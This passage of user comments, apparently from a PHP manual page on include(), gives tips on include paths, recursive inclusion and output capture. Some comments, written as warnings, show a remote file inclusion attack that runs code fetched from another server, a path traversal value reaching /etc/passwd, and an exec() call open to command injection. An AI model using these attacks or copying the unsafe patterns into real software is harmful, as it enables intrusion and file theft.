$include = $path.DIRECTORY_SEPARATOR.$filename;
if (is_file($include) && is_readable($include)) {
if ($returnpaths == true) {
$includable_paths[] = $path;
} else {
return true;
}
}
}
return (isset($includeable_paths) && $returnpaths == true) ? $includeable_paths : false;
}
?>
please note when you include a (utf-8) encoded file, this will be sufficient to send headers even if it doesnt contain any line breaks
a simple function to recursively include e.g. the include-directory of your site and its subdirs:
<?php
function includeRecurse($dirName) {
if(!is_dir($dirName))
return false;
$dirHandle = opendir($dirName);
while(false !== ($incFile = readdir($dirHandle))) {
if($incFile != "."
&& $incFile != "..") {
if(is_file("$dirName/$incFile"))
include_once("$dirName/$incFile");
elseif(is_dir("$dirName/$incFile"))
includeRecurse("$dirName/$incFile");
}
}
closedir($dirHandle);
}
?>
If you want to prevent direct access to some files and only allow them to be used as include files by other scripts, then an easy way to accomplish that is to check a define in the include file.
Like this.
includefile.php
---
<?php
defined('_VALID_INCLUDE') or die('Direct access not allowed.');
/* rest of file */
?>
script.php
---
<?php
define('_VALID_INCLUDE', TRUE);
include('includefile.php');
/* rest of file */
?>
Hi, there...
I've use this in order to grab the output from an include() but without sending it to the buffer.
Headers are not sent neither.
<?php
function include2($file){
$buffer = ob_get_contents();
include $file;
$output = substr(ob_get_contents(),strlen($buffer));
ob_end_clean();
ob_start();
echo $buffer;
return $output;
}
?>
Another way of getting the proper include path relative to the current file, rather than the working directory is:
<?php
include realpath(dirname(__FILE__) . "/" . "relative_path");
?>
When working with a well organized project you may come across multiple problems when including, if your files are properly stored in some nice folders structure such as:
- src
- web
- bo
- lib
- test
- whatever
as the include path's behaviour is somehow strange.
The workaround I use is having a file (ex: SiteCfg.class.php) where you set all the include paths for your project such as:
<?php
$BASE_PATH = dirname(__FILE__);
$DEPENDS_PATH = ".;".$BASE_PATH;
$DEPENDS_PATH .= ";".$BASE_PATH."/lib";
$DEPENDS_PATH .= ";".$BASE_PATH."/test";
ini_set("include_path", ini_get("include_path").";".$DEPENDS_PATH);
?>
Make all paths in this file relative to IT'S path. Later on you can import any file within those folders from wherever with inlude/_once, require/_once without worrying about their path.
Just cross fingers you have permissions to change the server's include path.
Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.
e.g :
<?php
if(file_exists("includes/a.php"))
include("includes/a.php")
?>
The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error
Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.
This means the functions and (more importantly) classes included will NOT work.
for example:
<?php
include "http://example.com/MyInclude.php";
?>
would not give you access to any classes or functions within the MyInclude.php file.
to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.
This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.
So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.
<?php
function ChkInc($file){
if(substr(exec("php -l $file"), 0, 28) == "No syntax errors detected in"){
return true;
}else{
return false;
}
}
?>
if someone else has a better solution, do post it...
Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.
//Gillis Danielsen
The __FILE__ macro will give the full path and name of an included script when called from inside the script. E.g.
<?php include("/different/root/script.php"); ?>
And this file contains:
<?php echo __FILE__; ?>
The output is:
/different/root/script.php
Surprisingly useful :> Obviously something like dirname(__FILE__) works just fine.
To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:
<?php
// File: index.php
include ($_GET['id'].".php");
?>
This is, of course, not a very good way to program, but i actually found a program doing this.
Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:
<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>
If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.
But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.
So, allways be extremely carefull with remote includes.
<?php
@include('/foo') OR die ("bar"); # <- Won't work
@(include('/foo')) OR die ("bar"); # <- Works
?>
so "or" have prority on "include"
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).
For example, we have two files, file 1.php contains...
<?php
function &x(&$y)
{
return include(dirname(__FILE__) . '/2.php');
}
$z = "FOO\n";
$z2 = &x($z);
echo $z2;
$z = "NOO\n";
echo $z2;
?>
and file 2.php contains...
<?php return $y; ?>
calling 1.php will produce
FOO
FOO
i.e the reference passed to x() is broken on it's way out of the include()
Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case). And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).
The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.
---
James Sleeman
http://www.gogo.co.nz/
I just discovered a "gotcha" for the behavior of include when using the command line version of php.
I copied all the included files needed for a new version of a program into a temporary directory, so I could run them "off to the side" before they were ready for release into the live area. One of the files with a new version (call it common.inc.php for this example) normally lives in one of the directories in the include path. But I did not want to put the new version there yet! So I copied common.inc.php into my temporary directory along with the others, figuring that the interpreter would find it there before it found it in the include directory, because my include path has a . at the beginning. When I tested it, everything was fine.
But then I setup a cron job to run the script automatically every day. In the crontab I placed the full path of the script. But when it ran, it included the old version of my common.inc.php file out of the include directory. Interestingly, the other include files that only existed in the temporary directory were included fine.
Evidently AFTER the include path is searched, the directory in which the main script lives is searched as well. So my temporary installation almost worked fine, except for the lack of the small change I had made in the common file introduced a bug.
To make it work I use a shell script to start my php script. It contains a cd command into the temporary directory, then starts the php script.
So "current directory" (the . in the include path) for a command line script is really the current directory you are in when executing the script. Whereas it means the directory in which the script lives when executing under apache.
I hope this helps save someone else the hours it took me to figure out my problem!
David
The @ directive works with this construct as well. My experience is you can use an if-statement to verify if the script was included (I havn't tested this on remote includes, there might be non-standard-404 pages that makes it impossible to verify you got the right page)
Example:
<?php
// ignore the notice and evaluate the return value of the script, if any.
if(@include(dirname(__FILE__)."/foo.php"))
echo "foo.php included";
else
echo "failed to include foo.php";
?>
As to the security risks of an include statement like:
<?php
include($page);
?>
This is a really bad way on writing an include statement because the user could include server- or password-files which PHP can read as well. You could check the $page variable first but a simple check like
<?php
if ( file_exists($page) ) AND !preg_match("#^\.\./#",$page) )
include($page);
?>
wont make it any safer. ( Think of $page = 'pages/../../../etc/passwd' )
To be sure only pages are called you want the user to call use something like this:
<?php
$path = 'pages/';
$extension = '.php';
if ( preg_match("#^[a-z0-9_]+$#i",$page) ){
$filename = $path.$page.$extension;
include($filename);
}
?>
This will only make sure only files from the directory $path are called if they have the fileextension $extension.